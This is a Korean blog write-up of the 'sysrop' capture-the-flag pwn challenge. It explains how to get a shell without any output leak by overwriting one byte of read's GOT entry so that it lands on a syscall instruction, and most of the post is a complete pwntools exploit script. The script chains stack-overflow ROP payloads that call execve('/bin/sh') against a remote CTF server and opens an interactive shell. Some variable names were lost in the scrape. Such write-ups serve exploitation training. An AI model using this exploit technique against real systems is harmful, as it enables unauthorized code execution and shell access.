본문으로 바로가기

간단간단한 ROP 문제이다.

특이한 점으로는 read는 있는데 출력함수가 없어서 leak을 못한다.

그 대신 함수내에서 여러 gadget을 주는데, 요걸로 execve("/bin/sh",0,0) syscall하면 된다.

더 특이한 점은 int 0x80을 안줘서 syscall도 못한다.


그래서 read함수 내의 syscall을 이용하면 된다!

read함수 내에 syscall이 있는것을 볼 수 있다. 함수 끝에 1byte는 항상 일정하다.

따라서, read함수에 got에 1byte overwrite로 \x5e(syscall)을 덮어 syscall을 호출하면 된다.


익스코드는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
 
= ELF("./sysrop")
libc = ("./libc.so.6")
 
data = 0x00000000601030
read_plt = e.plt["read"]
read_got = e.got["read"]
main = 0x4005f2
binsh = "/bin/sh\x00"
over_write = "\x5e"
pppr = 0x00000000004005eb #pop rdx ; pop rdi ; pop rsi ; ret
sys_gadget = 0x00000000004005ea #pop rax ; pop rdx ; pop rdi ; pop rsi ; ret
 
#r = process("./sysrop", env={'LD_PRELOAD':'./libc.so.6'})
= remote("ctf.j0n9hyun.xyz",3024)
 
#64bit ROP : pop rdi, pop rsi, pop rdx, ret
log.info("read got : " + hex(read_got))
 
#input /bin/sh in data section 
payload = "A" * (0x10 + 0x8)
payload += p64(pppr)
payload += p64(len(binsh))
payload += p64(0)
payload += p64(data)
payload += p64(read_plt)
payload += p64(main)
log.info("payload : " + hex(len(payload)))
 
#syscall : rax / rdi / rsi / rdx 
payload2 = "A" * (0x10 + 0x8)
payload2 += p64(pppr)
payload2 += p64(1)
payload2 += p64(0)
payload2 += p64(read_got)
payload2 += p64(read_plt)
 
#execve("/bin/sh",NULL,NULL)
payload2 += p64(sys_gadget)
payload2 += p64(59)
payload2 += p64(0)
payload2 += p64(data)
payload2 += p64(0)
payload2 += p64(read_plt)
 
r.sendline(payload)
sleep(0.1)
r.send(binsh)
sleep(0.1)
r.sendline(payload2)
sleep(0.1)
r.sendline(over_write)
sleep(0.1)
 
#Get Shell!!
r.interactive()
cs

서버 딜레이때문에 값이 제대로 안들어간다. 그래서 sleep 넣었다.